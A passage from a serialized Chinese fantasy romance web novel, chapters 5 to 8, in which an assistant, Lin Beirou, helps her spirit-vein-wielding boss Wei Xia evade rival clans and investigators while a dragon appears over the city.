魏抒培拖了把椅子直接坐下:“魏瑕,你现在方便说话吗,不方便就先休息。” 魏抒培一向心里对这个模样过于小白脸的堂弟不以为然,奈何这个堂弟看着不声不响的,居然能自己开起一个年业务流水突破百亿的非上市公司,还是被灵脉接纳的唯一境内之人,净化灵脉立过几次大功,组织还破格给了他一个高级职位,相当于少将级别。 魏家内部不少人心都向魏瑕倾斜了,好在魏瑕根本不去经营人情世故,也不恋权,魏抒培一步步培养扩张自己的势力圈子,没有把原地不动的魏瑕放在眼里。 魏抒培对魏瑕讲话十分随便,其实他和魏瑕的关系远没有亲近到可以讲话随便直呼其名的地步。 魏瑕的祖父是上上一代家主,这一代家主是魏瑕的伯父。 但魏瑕伯父身体原因不怎么管事,家族内部事务是魏瑕祖父身边的老人在打理。 魏抒培的祖父是魏瑕祖父的小弟弟,比起性格内向的长子更受宠爱,谈婚论嫁也是父母先安排大家闺秀给他,先一步就开 5. 第 5 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 十六个小时后,魏瑕单独带林北柔回了海市。 中途林北柔给老妈发了个消息,说项目出了问题,自己要跟老板临时出差去隔壁市。 林北柔带魏瑕进了大商场的安全楼道,两个人都戴着药店买的口罩,到了安全楼道,林北柔再也走不动了,腿一软直接坐到了楼梯上,抬头望着魏瑕。 “魏总,我走不动了。”林北柔如实说,拉下口罩,她现在晚饭也没吃,也没喝上一口水,心情随体力跌入谷底。 魏瑕望着她,打了个电话。 电话接通后,对方语气急迫,魏瑕只说了一句:“内部高层都被渗透了,你们先抓间谍吧,跟我没关系。” 对面气急败坏大声说了句什么。 魏瑕:“嗯,那别来打扰我,否则我直接带林北柔去马来西亚。” 对方声音更大了,连续噼里啪啦说了很多句话,都不带逗号。 魏瑕淡定打断:“环保在哪儿搞都一样的,我们还可以去非洲。” 林北柔:“……”她才不要去。 魏瑕挂了电话,看着林北柔:“我饿了,你呢。” 林北柔:“……”您现在才来问我? 主人手机震动,来电显示老妈,林北柔筋疲力竭,示意魏瑕等一等:“喂。” 魏瑕走过来,伸手直接点开了免提,坐到了她旁边,保持着社交距离。 林北柔:“?” 魏瑕侧脸专注而淡漠,微微蹙眉,示意她继续。 扬声器响起了老妈不放心的声音:“怎么还不回来啊。” 林北柔只能硬着头皮回答:“今天加班。” 老妈丝毫不知:“那你早点回来,别加太晚了。” 林北柔嗯嗯一番,挂了手机,往旁边挪了一屁股:“魏总,你干嘛?” 魏瑕解释:“他们可能会找到你那边,我在听附近是不是有他们的人。” 林北柔注意力被吸引:“我家不安全?他们要来抓我?” 魏瑕:“有我在,他们不敢,但你最近不要住家里。” 林北柔想了想:“我出去租房子。” 魏瑕:“不用,我租了套房子,明天就可以入住,今天晚上我先去酒店住,明天你跟我去那边暂住。” 林北柔张大了嘴,什么,这就要合租? 等等,这会不会太暧昧了。 魏瑕:“嗯,租金算我的,不会从你工资里扣。” 他误会了林北柔的表情,产生了一个正常的解读,给出了一个正常的解答。 林北柔不禁为自己不纯洁的想法感到惭愧。 魏瑕站起身:“走,我送你回去,不然你家里人要担心了。” 十分钟后,林北柔跟魏瑕坐上了晚班地铁。 地铁人少,仅有的几个乘客都频频盯着魏瑕看,哪怕魏瑕和林北柔一样都戴了口罩。 对面窗户上倒映出她和魏瑕并排而坐,浮荡在飞逝的昏暗中。 中途林北柔不知不觉睡着了,睡得特别沉,听到报站关键词才迷糊睁眼。 视野是斜的,她歪着脑袋靠旁边人肩膀上。 有那么一瞬间,林北柔忘了今夕是何夕,以为自己靠在司空晏身上午休睡着了。 熟悉又遥远的清淡气息,像远方林子梢头的微风。 下一秒,林北柔就彻底清醒了,抬起脑袋揉着眼睛对魏瑕道歉:“不好意思魏总,太困了。” 魏瑕:“嗯,没事,还有四站,你还可以睡会儿。” 林北柔:“……”您认真的吗。 魏瑕说这句话是简单就事论事,林北柔却不会顺水推舟继续靠回他肩膀上,她有点明白魏瑕的性子了,就像加了一丁点盐的凉白开,淡得几乎没味道。 林北柔回到家。 “这个工作是不是加班很严重?”老妈问。 林北柔:“工资高都这样,明天我要临时出趟差。” 老妈见林北柔好像很喜欢这个工作,就没有多啰嗦,只让她住酒店注意安全。 第二天一大早,林北柔去魏瑕下榻的酒店找他。 魏瑕给了她一个定位和房间号,让她直接上楼。 酒店闹中取静,大隐于市,是全市最贵的酒店,房间不多,每一间的软装都是七位数起,会员预约制,就算有钱也不能轻易入住。 一线城市会有很多门禁分布在随地可见的临街位置,让市民看得见,进不去,并且让市民知道自己进不去,明白什么叫通行权,再明白什么叫阶级差。 这个酒店就是这种存在。 林北柔进入酒店后,以为自己会遭遇阻拦,结果一路畅通无阻,一身定制西装的经理叫她“林女士”,亲自引路,把她带到了魏瑕房间前,林北柔才知道魏瑕在这家酒店一直有专门的保留套房。 刚进去就听到魏瑕在叫她:“林北柔。” 被冷不丁叫了名字,林北柔听了皮子一紧,虽然司空晏跟魏瑕语气语调区别挺大,但声音一模一样。 司空晏透着一股阴天水澹澹兮生烟的阴柔感,魏瑕很正常,像个刚睡醒的大学生。 林北柔定了定神,答应了一句:“魏总。” 走进套房才看到魏瑕,他窝在沙发上,穿的是宽大T恤和纯棉睡裤,头发有点乱翘,耳朵很红,脸好像也有点红,无精打采地看过来。 “我发烧了,37.8°C。”魏瑕拿起一个体温计说。 林北柔:“要我去买退烧药吗,还是要去医院输液?” 昨天魏瑕醒太快,林北柔就觉得不是很靠谱,果然被灵脉冲击后肯定不可能没事。 林北柔没照顾过病人,想给宁特助打电话,但昨天魏瑕说让宁特助回魏家盯着魏抒培,暂时别跟他联系。 魏瑕:“已经吃了退烧药了,先这样吧,今天还有正事要做,你坐过来。” 林北柔过去坐到魏瑕旁边,魏瑕打开桌子上的笔记本电脑,调出一个界面,输入用户名和密码,林北柔眼睛望向天花板。 魏瑕:“密码是拼音mima444,以后你用这个账号学东西。” 林北柔:“……”她有点迷信,最不喜欢看到连续的4。 屏幕上界面弹开,一个地图展开。 魏瑕语气平淡地就像在跟家里的小学生妹妹辅导作业:“世界上全部灵脉的汇总,其中有些灵脉标记着污染等级。” 林北柔:“这么多被污染的?” “嗯,国境内灵脉是最多的,有些灵脉一部分在南亚和东南亚那边,他们也派了驻外机构,和当地合作清理污染,项目启动一百五十多年了,除了我之外,你是境内第二个被灵脉接纳的人,这些灵脉的位置,你需要记住。” 林北柔:“记住以后干什么呢?” 如果她真的是这个年纪,成为天选之人会非常激动,现在只会觉得心累,就好像拿一份工资打两份工,尤其这玩意好像不能变现,还会招来无数人注意。 魏瑕起身走到落地窗那边。 这个套房的落地窗占据整面墙,是定做的,中间没有任何窗框,呈浅浅的圆弧形,可以高空俯瞰一半江景一半城区夜景,视野平行尽头就是海平线,太阳升起和日落都能看见,给人感觉就像住在天空之岛。 魏瑕:“过来。” 林北柔过去了,她有点恐高,就算在胜身洲都从来不御剑飞行,除非司空晏硬要带她,于是林北柔站到魏瑕旁边靠后一点的位置。 魏瑕望着她:“站到我旁边。” 林北柔:“……好的。”她走过去了。 魏瑕说:“被灵脉接纳的人,下一步是和灵脉共鸣。” 林北柔不知道这是什么意思,魏瑕随便往外面看了一眼,然后不说话了,林北柔也向外看去。 这里是寸土寸金的地方,对面有个楼顶露天餐厅,也很有名,上面种的不是盆栽,全是真的树。 树冠长得娉娉婷婷,早上的阳光漏下去,很多人特别喜欢预订这里的早午餐。 现在是早上九点四十多,食客衣着光鲜,成双成对坐在铺着白布的餐桌边谈笑风生,树影摇曳婆娑。 过了几秒,树冠起了一层树叶子浪,林北柔正觉得风是不是有点太大了,一个客人的蓝缎带黄草帽就被吹飞了,打着旋一直往楼下飞去。 接着,所有人都被风吹得睁不开眼睛。 侍应生单手张开五指端着盘子过来,脚步一滑差点把盘子打翻。 阳光迅速由浓转淡,直到消失,本来清蓝的天空,被灰白色厚云遮盖。 很快整个天空都变成了深灰色,尤其顶上的云发黑,天边泛白。 一切就发生在短短几十秒之内。 林北柔:“这是……魏总你做的?” 魏瑕:“嗯,要下雨了。” 天边云层间隙闪电划过,不到两分钟,刷一声,倾盆暴雨就下来了,覆没了全市,一直延伸到海面上。 闪电雷鸣也来了,客人疯狂起身避雨,一阵狂风吹过,草帽又被吹回了那个正在找地方避雨的女士头上,女士同伴都傻眼了。 林北柔:“……”她转过去看魏瑕。 魏瑕好像没有看到对面,只望着天上,因为发烧而耳朵红得滴血,表情却淡淡的,一点攻击性也没有。 魏瑕望向她:“这是最简单最入门的,所以他们不敢硬来抓我们。” 即使在胜身洲,呼风唤雨天人合一,形成极大范围的行云布雨,如同走蛟腾龙,也只有天赋极强的高阶修士办得到。 林北柔明白了,魏瑕就是个行走的人形兵器。 林北柔:“魏总,被灵脉接纳就要去基地,去了会怎么样?” 魏瑕眼睛不眨地盯着天空:“赣州有一口锁龙井,去了那个地方,就跟锁龙井里的龙一样。” 林北柔:“你去过吗。” “嗯。” “后面是怎么出来的?” 魏瑕转过来看着她,表情比白开水还平淡:“你要看吗,在我身上。” 魏瑕手臂向上脱掉了T恤,转过去给她看后背。 林北柔瞬间屏息凝神。 天光玉造的脊背上浮动着奇异的纹路,乍看以为是刺青,没有刺青的呆板滞涩,像墨烟一样,还会动,随着光线方向不同而时隐时现,像山水但又不像。 魏瑕:“打造一副要上千亿,二十年以上期限,留其神去其形,钉入全身脉轮。” 林北柔在胜身洲也见过类似封印。 想利用对方的力量,又害怕对方力量太强反噬自身。 于是把对方十成力量压制到三成,甚至一成,是很残忍的手段。 魏瑕穿回T恤,有一缕墨烟爬到了他脖子上,蔓延到脸上,又很 6. 第 6 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 魏瑕还发着烧,就想直接去租的房子那边,林北柔又量了□□温,这次居然38°了。 林北柔觉得不如再等一天,让魏瑕休息完退烧再去租的房子,反正她都给老妈说她出差了。 林北柔:“魏总,我去帮你买点物理退烧的东西,实在不行,我还是带你去医院输液,你先休息。” 当助理还拿高工资,这点自我修养还是要有的。 魏瑕不同意:“你出去不安全,不准出去。” 这话换司空晏那种阴间祖宗来说,林北柔就妥协了。 魏瑕只是一个眼神简单无害的年轻人,又帮林北柔挡了一劫,林北柔心里并不怕他,表面还是很恭敬的:“魏总,药店就在酒店对面,你昨天不是都打电话沟通好了,光天化日之下,那些人不敢明面上乱来。” 否则昨天他们坐地铁的时候就被拦截了。 魏瑕发着烧坐在沙发上,加上头晕,没法起身拦住林北柔,很不高兴地说:“你别去。” 林北柔充耳不闻:“我马上回来。” 她走了后,中央空调无声无息地吹出了一些细细的浮尘,无色无味,让人难以察觉,飘去了魏瑕那边。 外面雨太大了,林北柔买完东西回来裤子都打湿了,进了电梯,按下魏瑕所在的楼层。 电梯门刚要关上,一只手伸出来按住门,林北柔眼皮一跳。 一个男人进来了,看了一眼按键,没有按楼层,站到了林北柔对面,电梯门合上,电梯开始上升。 这个男人长相说不上漂亮,但很周正,身上有种习武之人的挺拔,又跟魏瑕的保镖不太一样,或许很受部分女性的欢迎。 林北柔贴着电梯墙壁站的,男人站在她斜前方,看着林北柔,在电梯里盯人是冒犯的行为,林北柔自从得过精神病,从来不惯着。 她以前学生时坐地铁公交,时不时就会被一些中老年男的盯着,她回盯过去,对方就移开视线,等她收回视线,对方眼神就跟不受控一样粘过来,她往后面走,对方视线还跟着她走。 有一次忍无可忍,林北柔指着一个中老年男的破口大骂,骂到连旁边大妈都不敢管闲事,最后那个男的提前下车了。 她精神分裂期间,每天都能听到很多很多声音大声辱骂她,林北柔受不了了,就跟那些声音对骂,久而久之就口腔肌肉记忆,喷脏随口就来。 她现在已经情绪稳定多了。 林北柔换了只手提着还沾着雨珠的药店塑料袋,直接开口:“你看什么看?” 男人:“你就是林北柔?” 林北柔:“你又是谁?” 男人一脸诚实:“林女士,你不该去当魏瑕的助理,有很多人想和魏家联姻,你成了障碍,得罪了人连累你家里人都不知道。” 林北柔:“神金?” 一般来说林北柔不会一上来攻击性就这么强,前面几句话她都可以当耳旁风,但谁让对方最后扯到她家里人。 男人震惊又茫然地看着她:“你怎么能骂人呢。” 林北柔:“神金。” 电梯门开了,林北柔懒得理他,直接走出去。 男人碰到了她的后脖子,只捏一下,林北柔就眼前一黑,失去了意识,药店塑料袋啪地掉在了地上。 男人蹲下去看着林北柔,为难地说:“本来我还想劝你走的,谁让你这么吓人。” “吓人”的林北柔,长发委泻在手工地毯上,一绺横过去遮住脸颊,像睡着了。 男人伸手挡住电梯门,不让门合上,看了林北柔一会儿,脸忽然微微泛红,做了下心理建设,就用绅士手把林北柔抱了起来,这一抱免不了部分肢体接触,男人怔住了,林北柔看起来不显山露水,没想到身体这么软,身上还有形容不上的淡淡香味,像天然的草木。 男人在苔痕宗也是排名前三的体术高手,点穴排第一。 林北柔睁开眼睛,对上男人的视线。 男人吓了一大跳:“你你你你怎么没晕!” 他的点穴连有修行的人都冲不破,林北柔却一下子就醒了,他在门派里从来没有师兄师姐跟他说过这种情况,他慌了。 林北柔:“你真是熊心吃了豹子胆。” 下一秒,林北柔捏住了男人的穴位,男人还因为震惊反应不及,被林北柔捏晕了过去。 好歹在胜身洲混了三百年,林北柔每天练一秒点穴也会了。 林北柔把男人拖到电梯门口,让他横着挡住电梯,开始搜他身上,把他像翻猪肉一样翻过去,一个圆滚滚的酒店机器人慢慢悠悠过来了。 林北柔:“?” 林北柔后悔了,早知道她直接手机上买东西让机器人送上来了。 刚回来,还不大适应这日新月异的社会。 孙芮晗从另外一个电梯上来,到了魏瑕房间门口,紧张地深呼吸了一下。 她承认这样是有点过分,但魏家是讲究体面的世家,只要她怀上孩子,到时候不管魏瑕自己愿不愿意,她都会成为名义上的魏家人,走一步看一步再说,反正圈子里有不少先婚后爱的例子。 再说孙芮晗自认也是个美人,这样不算委屈了魏瑕。 孙芮晗按了门铃,门打开了,高大的身影出现在眼前,孙芮晗脸一下子红了,大胆抬眼去看魏瑕。 一个神情轻柔阴凉的男人看过来,像在看一具死物,眼睛深黑不见底。 孙芮晗脑子不受控嗡一声,精心设计的台词也忘了,只能勉强记得自己是来干什么的,人生第一次口吃:“魏魏总,听听说你发烧了,我我来看望你。” 奇怪,孙芮晗潜意识特别茫然地想,她为什么这么害怕,这种恐惧深入骨髓,让她大脑宕机。 就好像对面站的不是一个人,而是具有人形轮廓的非人。 对面的人轻柔得近乎阴鸷:“你是来做什么的?” 孙芮晗嘴巴动了动,本想找个借口,触及那双深不见底黑黝黝的眼睛,孙芮晗机械地张开嘴,把来干什么和目的交代得一清二楚。 下一秒她就失去了意识。 一个刚送完餐的小机器人滑了过来,就看到孙芮晗站在电梯口,而电梯口竟然没有电梯,露出了黑洞洞的电梯井。 孙芮晗距离电梯井仅有半步之遥,目光空洞,慢慢跨出了脚尖。 小机器人无机质的外罩上,倒映出这一幕。 不知道是不是发生了某种故障,机器人没有识别出前方是电梯井,以为电梯门是开的,发出六岁小孩的提示音:“请您让一让,靠边站,给我留出中间的位置,谢谢您,……” 它直接撞上孙芮晗,把她往旁边撞了一下,丝滑地跌下了电梯井。 孙芮晗被撞得向侧后方倒退两步,一点表情变化也没有,慢慢站稳了,继续朝前,就像被一个满怀恶意的牵丝人偶师操纵了一样。 孙芮晗又到了电梯边缘,无光的眼睛映照出地狱螺旋一样无穷尽的电梯井,电梯井里没有风,一切静止。 孙芮晗朝前跨去。 一只还挂着药店塑料袋的手猛地抓住她后衣领子,把她整个人向后重重一拉。 孙芮晗向后直挺挺摔倒在地,终于晕了过去。 右边一台电梯刚刚上来,门还没关上,刚出来的林北柔看了一眼左边黑糊糊的电梯洞口,看了一眼地上的孙芮晗,一脸黑人问号。 “什么情况?中邪了还是被下降头了?” 林北柔一脸无语,把孙芮晗拖进安全楼道,跟被自己捏晕的那个男人并排堆靠在墙角,也不知道他俩什么关系。 林北柔给酒店打了个电话报修电梯,赶回魏瑕房间去了。 进门后,林北柔开口:“魏总,刚刚在药店跟医生视频了,他教了我物理退烧的办法,说你要是晚上还不退烧就得去输液……” 林北柔顿了顿,在茶几上放下塑料袋,魏瑕人呢? 她走进套房里间,看到大床上乱糟糟鼓了个大包,还有似有若无沉重的呼吸声。 林北柔吓了一跳,她才走一会儿,就烧这么严重了吗,外面歘然闪电,雷霆随机罚落人间,室内都闪了好几下,有种阴诡气氛。 林北柔走过去:“魏总,你没事吧?刚刚来了个神金……” 对方没有反应,林北柔掀开被子,看到魏瑕烧得满脸通红,迷迷糊糊裹在被子里,头发末梢都被浸湿了。 林北柔马上把药店买的东西拿过来。 “冷水,毛巾,敷在患者前额、腋窝、腹股沟等大血管部位,三到五分钟更换,酒精擦浴,百分之七十五酒精一百毫升,加等量温水,从颈部开始往下擦,到腋窝、腹股沟……” 林北柔按照上述步骤,脱了魏瑕的T恤给他擦身。 魏瑕一头黑毛都乱了些,脑袋毛茸茸的,模糊地闷哼着,皱着眉,满脸不高兴,好像被欺负了一样,他躯体和他皮肉细嫩的脸很有反差感,平坦紧实,块垒分明,有非常明显的人鱼线,腹股沟处还有两条很长的血管浮现其 7. 第 7 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 林北柔身体发热,不停地从冰柜里拿冰饮解渴,等过了四十分钟,才听到卫浴那边魏瑕出来的动静。 林北柔已经搞懂了魏瑕什么性格,有一点像司空晏的未成年时期。 几万年前,那会他还是凡身,没有被带到胜身洲的修士领域,后来知道这他小时候事的修士全被这祖宗灭口了,林北柔也是无意中在秘境中看到了其他凡人的碎片回忆才知道的,但司空晏一脸阴鸷凉淡,早已不记得自己的凡人时期,也不喜人提起。 听到魏瑕出来林北柔也没回头去看,免得他尴尬,魏瑕重新换了套干净衣服,这次是白衬衫和普通灰色长西裤,垂着睫毛,面无表情,只有耳廓上还有一丢丢残红,他坐到林北柔对面:“针灸。” 林北柔:“魏总,这都四十分钟了,我没事了……可以用下卫生间吗?” 对方大概是怕出事,用的是对人体无害的手段,见效显著但没什么副作用,她出了一会儿汗早就排出去了,就是想上厕所。 魏瑕停了一下,点点头:“你去。” 林北柔起身去了,魏总讲话都变两个字两个字往外蹦了,这次孙家估计彻底得罪了他。 进了洗手间,林北柔吃了一惊,洗手间很干净,地砖和洗手台连一点水渍都没有,也没有任何不好的气味,反而有种高级手工皂的淡淡清香,要不是她刚刚送魏瑕进来了,林北柔都要以为这洗手间从来没人用过。 林北柔:“……”上司这洁癖真绝。 林北柔解决完内需,对着镜子洗了个冷水脸,药效还没挥发完,她脸上有点粉光融滑的,洗完了要好一点,孙芮晗算运气好,魏瑕是正常人,这要是换成司空晏本尊,她早就死一万次了。 林北柔顿了顿,刚刚她看到孙芮晗一脸中邪地往电梯井下面跳是什么情况,难道酒店里还有其他势力,想趁机制造人命案子,栽赃到魏家身上去? 怪不得宁特助说酒店不安全,再高级也是外来人混杂的地方,加上隐私性比普通酒店好很多,要查线索反而更困难。 林北柔出去后,听到魏瑕正在跟宁特助视频,宁特助的声音很凝重:“……C组有人被查出来是内奸,你们下去后,对方就打开了法器,在另外一个境外脉轮点有一台同样的法器,两台法器同时运转,造成的灵脉冲击是平时的好几倍,境外脉轮点出事更严重,当地发生了7.4级地震,那边当局追溯到我们这边,上升到外交层面了,对方在野党认为这是某种宣战……” 林北柔吓了一大跳,魏瑕眼皮也没抬一下:“把内奸审了送过去,后勤部门负责善后,还有灾后重建援助,摆平这些有流程。” 宁特助:“对方声称魏总你也参与其中,因为你想解开身上的封印,他还说有证据,高层觉得很严重。” 林北柔一边听一边思考,魏瑕肯定不会乖乖听话一直被封印压制,私下肯定有对策有行动。 说不定是魏家内部出了叛徒,把魏瑕的行动透露给那个内奸所属的势力。 宁特助:“高层临时成立了个调查小组,组长马上要到你们的酒店了,第一步是谈判,如果魏总你拒绝回去,他们就会采取强制措施。” 魏瑕:“你先去把林北柔的家属接到你那边。” 宁特助:“已经去了。” 林北柔心头一紧,站到了魏瑕背后:“宁特助,他们要对我妈下手吗?” 宁特助的脸出现在屏幕另一段,肃然道:“林助理放心,我不会让他们带走令堂,不过假设他们带走令堂,令堂也不会有人身危险,他们都是照章程办事的正规公务员,只是我们这边会陷入被动。” 林北柔:“宁特助,千万不要让我妈被带走。” 老妈本来就是个一点风吹草动就容易脑补到没边的普通中年妇女,平时一大爱好就是看抗日谍战片,从央视看到地方台,就没有她没看过的,还在小红书上关注了一个演了八十多个鬼子的国内演员,要是宁特助去接她,林北柔还真不知道她妈会怎么个反应。 魏瑕看了林北柔一眼,这还是他第一次见林北柔情绪有明显起伏。 “你要怎么说服她跟你们走?到时候她估计不会信你们。”林北柔觉得她老妈门都不会给开。 宁特助:“我们会说魏总被人打了,你是目击证人,需要留下来作证,为免对方报复,令堂需要跟我们转移到安全地方,也就是和平路后面的小教堂,令堂的朋友是那边的志愿者,令堂会愿意去的。” 林北柔:“……”简直有理有据。 林北柔意识到她的家庭情况早就被调查清楚了。 视频结束,魏瑕起身去开门,两个眼熟的保镖大哥把两个人扛了进来,一个是孙芮晗,另一个是会点穴的习武男。 林北柔一脸无语。 习武男突然动了动,痛苦低吟似乎要醒了:“唔……” 保镖脸色大变,掏出一个小喷瓶,弯腰照准习武男脸来了三下,习武男彻底昏死过去,保镖不放心,又给孙芮晗脸上来了两下。 林北柔:“……” 习武男穿的是一身成套的运动服,白底黑红带,有点像国产校服,被保镖大哥全扒了。 习武男很快只剩一条四角裤,趴在地上不省人事,保镖大哥把外套翻过来,看到了领口的刺绣小标,对魏瑕汇报:“魏总,他是苔痕宗四大高手之一。” 另外一个保镖送上来一个手提购物袋子。 魏瑕转头把那个袋子递给林北柔:“去卧室换衣服。” 林北柔去卧室关好门,才发现居然是一套高中生蓝白运动风校服,还有一双帆布鞋,校服背后印着的是附近一所很有名的公立高中,国外领导人访华曾经去过这所学校参观,林北柔的成绩是考不上这所中学的。 林北柔:…… 突然觉得有点羞耻。 林北柔一出来,就看到换上了习武男的衣服,习武男比他稍微矮一点,尺码还算合适,习武男穿着像个体校刚毕业的学员,魏瑕则看上去非常像高中生,除了表情没有高中生的单纯和活力。 随后,魏瑕带林北柔出了酒店房间,看两个保镖把套房反锁了,空调和灯光没关,制造成里面有人不愿意出来的假象。 停车场来了两辆低调黑车,一行人快速下车,直接往魏瑕房间号而去,通知酒店先关闭各种出入口,前后只差一分钟不到。 魏瑕和林北柔来到了大街上,两个保镖大哥和他们分开了。 调查小组的人包围了酒店房间,发现门被锁,用了七分钟开了门,进去后打开卧室门,发现被耍了,组长开始调酒店监控,结果酒店监控刚才莫名失灵,组长马上让人调取附近主要街道的监控。 外面雨还在下,从暴雨变成了雨雾,很多人不再打伞。 一个监控镜头自动旋转,对准了魏瑕和林北柔所在的方向。 对面马路绿灯亮了,一大群中午放课的走读高中生涌了出来。 监控镜头还没找到目标,就被一大群穿校服或者校服套私服的高中生淹没。 魏瑕的打扮在里面一点也不起眼,和林北柔顺着人流走,高中生和他们擦肩而过,很多都扭过头看他们。 林北柔有点脸热,毕竟装高中生还是有点尴尬的,好在这些高中生只是好奇,都以为他们是国际部的学生。 路上,林北柔接到了老妈的电话:“你同事说你们老板被人打了,是不是真的啊?” 林北柔安抚了老妈一通,老妈信了,一边担心她一边叮嘱了她好几句。 魏瑕买了两个口罩,带林北柔上了地铁,一直坐到目的地。 这是个多层住宅小区,没有高层电梯公寓那么高,也配了电梯,环境清净。 魏瑕找物业拿了钥匙,直接坐电梯上了顶楼八楼。 复式二手住宅,总面积一百六十平方米,带一个小小的顶楼花园,房龄有十年了,墙面有些旧,按照魏瑕的经济水平算低调得不能再低调,整个房子打扫得很干净。 林北柔一进去就被这屋子征服了。 这不就是她最想要的小房子吗,她在二手房市场看了很久了,这个复式公寓简直符合她的每一寸审美,阳光透过纱帘洒落在木地板上,纯净温暖。 林北柔的大脑有自己的意识,开始止不住幻想自己在魏瑕身边兢兢业业干了多年助理,立下汗马功劳,魏瑕把这套房子当做年终奖奖励给了她,从此她安心退休养老,时不时带老妈出去旅游。 林北柔觉得很可耻,心里骂自己大脑,让它停下。 魏瑕带林北柔上了二楼。 一上去林北柔就看到一个黑洞洞的房间。 里面漆黑一片,是不见任何光的漆黑,感觉踏进去就会被吸走。 林北柔抬头,看到门上方用红绳悬挂着一枚圆形方孔古币,锈蚀斑驳,上面笔画刚猛峻拔,让人看了一眼就不敢再直视。 林北柔在胜身洲知道这种钱币,是修士加持过,赠予凡间受到鬼邪侵扰的平民百姓的,百姓常常拿来镇宅,修士自身也会增加功德。 这种古币的灵压都很厉害,算是上乘法器的一种。 魏瑕:“你先在外面等,我进去画阵,大概要十五分钟,中途不能被打扰,如果外面有人敲门,不要开,你不开门,他们就算撬门也没有用。” 林北柔:“画什么阵?” 魏瑕:“我要把身上的封印解离下来,过渡一半到你身上。” 林北柔:“……” 林北柔:“魏总,你不是不想他们往我身上弄封印吗?” 魏瑕平静解释:“如果你身上有了一半其他人的封印,他们就不能再对你另外加一个封印了,你没有觉醒和灵脉共鸣的能力,这一半封印对你不会造成影响。” 林北柔:“那你呢?” 魏瑕:“我力量被压制到只剩两成不到,现在封印转移一半到你身上,力量可以恢复到四成。” 林北柔恍然大悟,原来破解封印,还有这种办法。 怪不得魏瑕拼着叛逃都要保她。 世界上果然没有无缘无故的互帮互助,之前魏瑕对她挑不出任何毛病,林北柔还有点不安,现在知道魏瑕原来有所求,林北柔反而放下心。 林北柔对拯救世界兴趣不大,上班工资高就认真对待,工资敷衍她也就摸鱼,让领导知道便宜无好货,用老妈的话来说就是升斗小民一个,和灵脉共鸣这种事,只会招惹上一堆不必要的麻烦 8. 第 8 章 《被我渣过的阴间男主反穿开盒了》全本免费阅读 林北柔顺便上网搜了下国外地震的消息。 地震发生在当地荒漠区,仅有少数人受伤,没有人员死亡,倒是本地消息已经在小红书刷屏了,还上了实时热搜第一。 -今天好像真的拍到了龙,太震撼了 林北柔点进了这条热度最高的帖子,发帖子的是一个摄影爱好者,喜欢在临江区海湾拍天象。 海上看得更清楚,头顶黑得像末日,阴阳割昏晓,旁边也围过来几个游客跟他一起看。 “卧槽——水龙卷!” 伴随游客的惊呼,诡暗的云层和海面之间,陆续形成三条遥遥相望的接天水柱。 人群全部都被吸引了过来,顶着暴风雨开手机录像。 云雾缭绕的海面上,三根水龙卷如不周山通天柱。 本地电视台记者马不停蹄赶来直播。 闪电缠绕的暗橘云层中,云影快速变化,很快游客意识到不对劲:“你们看那个云动的方向是不是跟风向不一样?” 黑云就像被驱赶一样向上卷,一个小黑点出现,像一滴墨汁掉入清水中,很快扩散,紧接着所有人才意识到,那是什么东西在快速接近。 通过云气的形状传递,也足够让人看清龙的角、首、身、爪的廓形,等到人们意识到那是什么,祂在云中蓦然回首,刹那与众人对视。 所有人当场被混沌寒气浸没。 直到祂的气息隐入墨云,所有人才恍惚发现自己面朝下趴在地上。 这条视频帖子下的评论都沸腾了。 “这就是龙啊!”“和我外公跟我形容的一样,九五年的时候他看到过……”“UFO是真的,龙也是真的,是我疯了还是这个世界疯了。” 各种玄学号带话题发帖,评论越刷越多。 很多人相信是一回事,亲眼所见是另一回事。 手机没有问世前,有不少人目睹过所谓云气行龙,特别是在狂风暴雨天气,实际上大多数是走蛟。 也有不少人质疑视频的真实性,怀疑这是一场蓄谋已久的营销,但本地电视台的直播无法被剪辑,直播中出现的画面让每一个看到的人世界观都被击碎。 林北柔脸色有点发白,反反复复拖动进度条,想仔细确认什么,第五遍的时候,视频突然不见了。 主页变为空白,根据相关法律政策,该内容无法显示。 林北柔僵硬了一秒。 阴间祖宗他本人,元神里就有一条龙灵。 - 周阆屿猛踩刹车,孙芮晗忘了系安全带,差点一头撞到挡风玻璃:“你怎么开车的——” 周阆屿恍若未闻,死死盯着车载平板电脑,上面正循环放着云中龙回首挂尾的画面,背景音是游客不可置信的惊呼,很快视频就404了。 孙芮晗:“真龙现世?!……这,这该不会是从灵脉里跑出来的吧?!” 周阆屿收拢情绪:“形轻化气,气向上垂直倒流,角尖、瞳孔、鳞片有金刚白光晕,符合灵脉经注残卷记载的特征,真龙中位阶最高的一种,确实是灵脉里出来的。” 孙芮晗脑子有点转不过来:“那这说明了什么?” 周阆屿:“这条龙是被人为放出来的。” 孙芮晗茫然:“灵脉不是有门禁封印吗,谁能打开?” 灵脉就像无数地下支流,支流交汇的地方,会产生灵脉轮,灵脉轮上会产生一种虚空通道,通往灵脉内部的世界,据说目前山海经里的生物,都可以在灵脉另一端的世界找到。 这些虚空通道,都自带门禁封印,上面的符文研究学者无法参透,看一眼就仿佛要被虚空吞噬。 第一次发现门禁时,是一九□□年,当时队伍全军覆没,只留下了一台录音设备。 周阆屿:“被灵脉接纳的人,能和灵脉共鸣的人,都打不开门禁,除非有人抵达了第三种境界,支配灵脉。” 孙芮晗:“……难道是魏瑕?!” 周阆屿冷冷地说:“他有那个本事,就不需要带林北柔逃跑。” 孙芮晗不服气:“怎么就不能是魏瑕了?境内能和灵脉共鸣的他是唯一一个。” 周阆屿不说话了,没有沟通意愿。 孙芮晗反正跟周阆屿没共同语言,周阆屿也威胁不到她,干脆一吐为快:“除了孙家人这层身份,我在孙家眼里,什么都不是,我爸妈中邪了一样只信宗首,姑姑自己有儿子,根本不会帮我。” 要是能跟灵脉共鸣者搭上关系,她就可以脱离孙家了。 但她清楚地记得,自己即将高空坠亡前0.01秒,大脑恢复了清醒,身体却不受控的恐惧感。 就好像被某种巨大到无法想象,天穹都被压溃的存在,盯上了。 她怀疑魏瑕有问题。 孙芮晗打了个寒噤,突然想到了什么,表情恍惚:“龙被放出去,说明有人能支配灵脉,传到境外,不就等于宣战?” 孙芮晗瞬间意识到了情况的严重性,要是境外修炼者们知道境内有人可以支配灵脉,所有境内世家都会成为活靶子,相当于给对方千军万马狙击手暴露自己的坐标。 从真龙出现这一秒起,境外就一定有人开始动用隔空手段狙击他们了,比如降头术,比如其他一招毙命的诅咒。 